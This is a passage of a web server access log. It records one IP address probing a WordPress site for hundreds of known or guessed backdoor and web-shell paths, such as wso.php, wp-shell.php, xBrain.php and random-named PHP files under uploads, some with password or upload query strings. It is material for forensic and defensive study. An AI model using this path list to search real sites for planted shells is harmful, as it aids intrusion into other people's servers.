/wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:05 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:08 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:11 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:16 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:18 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:22 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:26 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:28 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:33 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:35 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:40 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:44 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:50 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:54 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:27:58 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:02 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:05 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:07 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:12 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:14 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:20 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:24 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:28 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:33 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:36 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:39 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:41 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:43 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:45 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:46 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:49 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:52 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:53 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:54 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:55 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:57 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:28:59 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:02 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:05 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:10 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:14 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:18 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:21 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:25 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:27 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:30 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:33 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:36 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:38 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:40 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:42 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:44 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:45 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:46 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:48 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:50 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:52 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:55 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:29:58 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:01 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:04 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:07 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:14 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:20 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:25 -0400] "GET /wp-content/uploads//good.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:30 -0400] "GET /wp-content/uploads//load-scripts-page.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:33 -0400] "GET /wp-content/uploads//ms-sites-modify.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:36 -0400] "GET /wp-content/uploads//network-settings.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:40 -0400] "GET /wp-content/uploads//wp-backup.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:43 -0400] "GET /wp-content/uploads/2019//dog.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:46 -0400] "GET /wp-content/uploads/2019//mini.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:49 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:51 -0400] "GET /wp-content/uploads/2021//snwphriucoj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:55 -0400] "GET /wp-content/uploads/2021/03/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:30:59 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:03 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:05 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:06 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:08 -0400] "GET /wp-content/uploads/2023/05/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:09 -0400] "GET /wp-content/uploads/2023/10/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:11 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:14 -0400] "GET /wp-content/uploads/2024/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:17 -0400] "GET /wp-content/uploads/2025/04/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:19 -0400] "GET /wp-content/uploads/? HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:21 -0400] "GET /wp-content/uploads/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:24 -0400] "GET /wp-content/uploads/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:25 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:27 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:28 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:29 -0400] "GET /wp-content/uploads/classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:31 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:32 -0400] "GET /wp-content/uploads/de_fb_uploads/b.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:34 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:35 -0400] "GET /wp-content/uploads/gravity_forms/a/a/d/e/mpobdxkytgs.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:37 -0400] "GET /wp-content/uploads/gravity_forms/a/a/g/g/sbkntyhpcmw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:40 -0400] "GET /wp-content/uploads/gravity_forms/a/b/b/g/uglomvzctsn.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:41 -0400] "GET /wp-content/uploads/gravity_forms/a/c/e/a/ypwzrbljtug.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:43 -0400] "GET /wp-content/uploads/gravity_forms/a/d/f/f/gcqdnkwesjz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:44 -0400] "GET /wp-content/uploads/gravity_forms/a/h/g/f/rykplgfvasj.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:45 -0400] "GET /wp-content/uploads/gravity_forms/b/c/a/g/czivjydnxqt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:46 -0400] "GET /wp-content/uploads/gravity_forms/b/c/d/a/squoxvwkhlt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:47 -0400] "GET /wp-content/uploads/gravity_forms/b/h/f/a/jnxegkidpwo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:50 -0400] "GET /wp-content/uploads/gravity_forms/c/a/e/a/uxcbytlahwz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:52 -0400] "GET /wp-content/uploads/gravity_forms/c/c/a/b/rahlkvfmgdb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:55 -0400] "GET /wp-content/uploads/gravity_forms/c/c/c/g/mdncplabzif.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:31:57 -0400] "GET /wp-content/uploads/gravity_forms/c/e/d/b/pmxctaowdes.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:01 -0400] "GET /wp-content/uploads/gravity_forms/c/e/g/c/czymneukgvd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:04 -0400] "GET /wp-content/uploads/gravity_forms/c/h/g/f/tqicwdpsmnh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:07 -0400] "GET /wp-content/uploads/gravity_forms/d/b/c/a/egyocfrpvwa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:10 -0400] "GET /wp-content/uploads/gravity_forms/d/d/c/d/flpovrzwjck.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:15 -0400] "GET /wp-content/uploads/gravity_forms/d/f/c/d/ojqmdbxhate.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:19 -0400] "GET /wp-content/uploads/gravity_forms/d/f/h/f/yosajlczrfb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:25 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/dqwyzvpuahb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:31 -0400] "GET /wp-content/uploads/gravity_forms/e/b/b/g/jkerxdyfnqg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:34 -0400] "GET /wp-content/uploads/gravity_forms/e/b/c/e/qotvjlbgrpc.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:36 -0400] "GET /wp-content/uploads/gravity_forms/e/d/f/a/axfnwtvogks.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:37 -0400] "GET /wp-content/uploads/gravity_forms/e/g/g/c/oihlgmfuxzd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:40 -0400] "GET /wp-content/uploads/gravity_forms/e/g/h/b/ctorzqpwhbu.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:42 -0400] "GET /wp-content/uploads/gravity_forms/e/h/f/c/yszukdvcqnw.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:42 -0400] "GET /wp-content/uploads/gravity_forms/f/d/e/g/xtznkgbjpvq.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:44 -0400] "GET /wp-content/uploads/gravity_forms/f/e/g/b/hpkifdjoalz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:47 -0400] "GET /wp-content/uploads/gravity_forms/f/f/d/b/dihbpqwnyts.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:49 -0400] "GET /wp-content/uploads/gravity_forms/f/g/h/b/zjensalmdpb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:50 -0400] "GET /wp-content/uploads/gravity_forms/g/b/b/e/zysdrojvpua.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:51 -0400] "GET /wp-content/uploads/gravity_forms/g/e/c/h/hwzjnumafpk.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:54 -0400] "GET /wp-content/uploads/gravity_forms/g/f/f/b/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:57 -0400] "GET /wp-content/uploads/gravity_forms/g/g/a/f/pkhymgfjald.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:32:59 -0400] "GET /wp-content/uploads/gravity_forms/g/h/h/d/mxnbqlgirdo.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:01 -0400] "GET /wp-content/uploads/gravity_forms/h/b/e/d/ioxgswkbzrp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:02 -0400] "GET /wp-content/uploads/gravity_forms/h/c/e/d/geusnobmvlh.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:05 -0400] "GET /wp-content/uploads/gravity_forms/h/c/h/c/hgickosyuxa.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:07 -0400] "GET /wp-content/uploads/gravity_forms/h/e/c/b/pfmozjwseha.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:10 -0400] "GET /wp-content/uploads/gravity_forms/h/e/d/a/yjoxrfglsep.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:13 -0400] "GET /wp-content/uploads/index HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:14 -0400] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:15 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:17 -0400] "GET /wp-content/uploads/link.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:19 -0400] "GET /wp-content/uploads/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:21 -0400] "GET /wp-content/uploads/tmp/.session.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:23 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:26 -0400] "GET /wp-content/uploads/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:28 -0400] "GET /wp-content/uploads/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:31 -0400] "GET /wp-content/uploads/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:33 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:36 -0400] "GET /wp-content/uploads/wp-shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:39 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:40 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:43 -0400] "GET /wp-content/uploads/wpr-addons/forms/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:44 -0400] "GET /wp-content/uploads/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:46 -0400] "GET /wp-content/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:48 -0400] "GET /wp-content/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:50 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:53 -0400] "GET /wp-content/wp-tested.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:33:57 -0400] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:00 -0400] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:03 -0400] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:04 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:06 -0400] "GET /wp-content/x/wp-includes/Text/Diff/Engine/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:08 -0400] "GET /wp-content/x/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:10 -0400] "GET /wp-content/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:12 -0400] "GET /wp-content/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:13 -0400] "GET /wp-core.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:16 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:18 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:19 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:21 -0400] "GET /wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:23 -0400] "GET /wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:25 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:27 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:28 -0400] "GET /wp-files.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:29 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:30 -0400] "GET /wp-header.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:34 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:36 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:38 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:39 -0400] "GET /wp-includes//403.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:42 -0400] "GET /wp-includes//defaults.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:44 -0400] "GET /wp-includes//item.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:48 -0400] "GET /wp-includes//langar.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:51 -0400] "GET /wp-includes//wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:54 -0400] "GET /wp-includes/1DTeo4NlXvb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:34:57 -0400] "GET /wp-includes/1QVvI3Jefd9.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:00 -0400] "GET /wp-includes/1V7NZKd4MAb.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:02 -0400] "GET /wp-includes/1fwQh4mlL6U.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:03 -0400] "GET /wp-includes/25z1pj6D8ho.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:04 -0400] "GET /wp-includes/2CYFwmbVjRf.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:09 -0400] "GET /wp-includes/2ECeRgwNa6I.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:13 -0400] "GET /wp-includes/2JZ6GvDSsgd.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:15 -0400] "GET /wp-includes/2JeUH5dNZ7X.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:17 -0400] "GET /wp-includes/2M5k3hBNA8L.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:19 -0400] "GET /wp-includes/2VGWUt94ypz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:23 -0400] "GET /wp-includes/2VJGUWYBXMZ.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:25 -0400] "GET /wp-includes/2fd5iBxGvVt.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:27 -0400] "GET /wp-includes/31vLXnGsWhN.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:29 -0400] "GET /wp-includes/3RTGVYtrpSz.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:31 -0400] "GET /wp-includes/3TaxWwPciN5.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:34 -0400] "GET /wp-includes/3UiGPRTjwLI.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:40 -0400] "GET /wp-includes/3Wg6OxdwEuL.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:43 -0400] "GET /wp-includes/3aWTmqSkEDF.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:45 -0400] "GET /wp-includes/3yATdSmwkho.php HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:35:48 -0400] "GET 